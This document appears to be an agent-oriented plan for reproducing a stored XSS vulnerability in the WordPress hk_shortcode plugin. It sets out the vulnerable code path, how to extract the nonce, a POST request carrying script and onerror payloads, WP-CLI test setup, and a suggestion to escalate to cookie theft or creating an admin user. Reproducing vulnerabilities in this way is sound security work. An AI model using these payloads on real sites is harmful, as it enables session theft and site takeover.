Exploitation Research Plan: CVE-2026-8886

1. Vulnerability Summary

The hk_shortcode plugin (version <= 1.0) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists within the huankong_post_short_title_plane() function, which handles the [title-plane] shortcode. The title attribute of this shortcode is concatenated directly into the HTML output without being processed by sanitization functions (like sanitize_text_field()) or escaping functions (like esc_html() or esc_attr()). This allows a user with the ability to create posts (Contributor and above) to inject malicious JavaScript that will execute in the browser context of any user viewing the page.

2. Attack Vector Analysis

• Vulnerable Shortcode: [title-plane] (inferred from function name)
• Vulnerable Parameter: title attribute
• Authentication Level: Authenticated (Contributor+)
• Preconditions: The attacker must have permissions to use shortcodes (standard for the Contributor role in WordPress).
• Payload Storage: The payload is stored within the post_content of a WordPress post or page.
• Execution Trigger: The payload executes whenever the injected post/page is rendered on the frontend or previewed in the admin dashboard.

3. Code Flow

1. Registration: The plugin registers the shortcode (likely in the main plugin file) using add_shortcode( 'title-plane', 'huankong_post_short_title_plane' ); (inferred).
2. Processing: When WordPress parses a post containing the shortcode, it calls the huankong_post_short_title_plane($atts) callback.
3. Attribute Extraction: The function extracts the title attribute from the $atts array, likely using shortcode_atts().
4. Vulnerable Sink: The code performs a direct concatenation:

   // Inferred logic based on vulnerability description
   function huankong_post_short_title_plane( $atts ) {
       $atts = shortcode_atts( array( 'title' => '' ), $atts );
       // The title is returned/echoed without escaping
       return '<div class="some-class">' . $atts['title'] . '</div>'; 
   }
   

5. Rendering: The unsanitized HTML is included in the final page content sent to the user's browser.

4. Nonce Acquisition Strategy

This vulnerability is exploited by creating or updating a post. This requires a standard WordPress post-editor nonce (_wpnonce), not a plugin-specific AJAX nonce.

1. Navigate to New Post Page: Use browser_navigate to go to /wp-admin/post-new.php.
2. Extract Nonce: Use browser_eval to extract the _wpnonce from the form.

   // Extraction via JavaScript in the browser context
   document.querySelector('#_wpnonce').value;
   

3. Alternative: The nonce can also be found in the wp-admin/post-new.php source code inside the wp-inputs or post form.

5. Exploitation Strategy

The goal is to create a post containing the malicious shortcode as a Contributor and then verify that the payload executes.

Step 1: Authenticate as Contributor
Login to the WordPress instance using Contributor credentials.

Step 2: Create a Post with Payload
Use the http_request tool to send a POST request to /wp-admin/post.php.

• URL: http://<target>/wp-admin/post.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: editpost
  • post_ID: <ID_FROM_POST_NEW_PHP>
  • _wpnonce: <EXTRACTED_NONCE>
  • post_title: XSS Test
  • content: [title-plane title='<script>alert(document.domain)</script>']
  • post_status: publish (Note: Contributors may only be able to set this to pending; if so, use the Preview link).

Step 3: Trigger the XSS
Navigate to the URL of the newly created post (or the preview URL provided in the response).

6. Test Data Setup

1. User Creation:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

2. Plugin Activation: Ensure hk-shortcode is active.
3. Identify Target: Use wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID) to get a valid post_ID for the attacker to edit.

7. Expected Results

• The http_request should return a 302 redirect to the post edit page or the post frontend.
• Upon navigating to the post URL, a JavaScript alert box displaying the document.domain should appear.
• The HTML source of the page should contain: <div class="..."><script>alert(document.domain)</script></div>.

8. Verification Steps

1. Verify Storage via WP-CLI:

   wp post get <POST_ID> --field=post_content
   

   Confirm the [title-plane] shortcode is present with the payload.
2. Verify Rendering via HTTP:
   Use http_request to fetch the post frontend and grep for the raw script tag.

   # Look for the unescaped script tag in the output
   grep "<script>alert(document.domain)</script>"
   

9. Alternative Approaches

• Attribute Breakout: If the title is placed inside an attribute (e.g., <div title="[title]">), use a breakout payload:
  [title-plane title='"><script>alert(1)</script>']
• Event Handlers: If <script> tags are filtered by a WAF or basic security check, use event handlers:
  [title-plane title='<img src=x onerror=alert(1)>']
• Admin Context: To demonstrate higher impact, use a payload that exfiltrates cookies or creates a new admin user when viewed by a logged-in Administrator.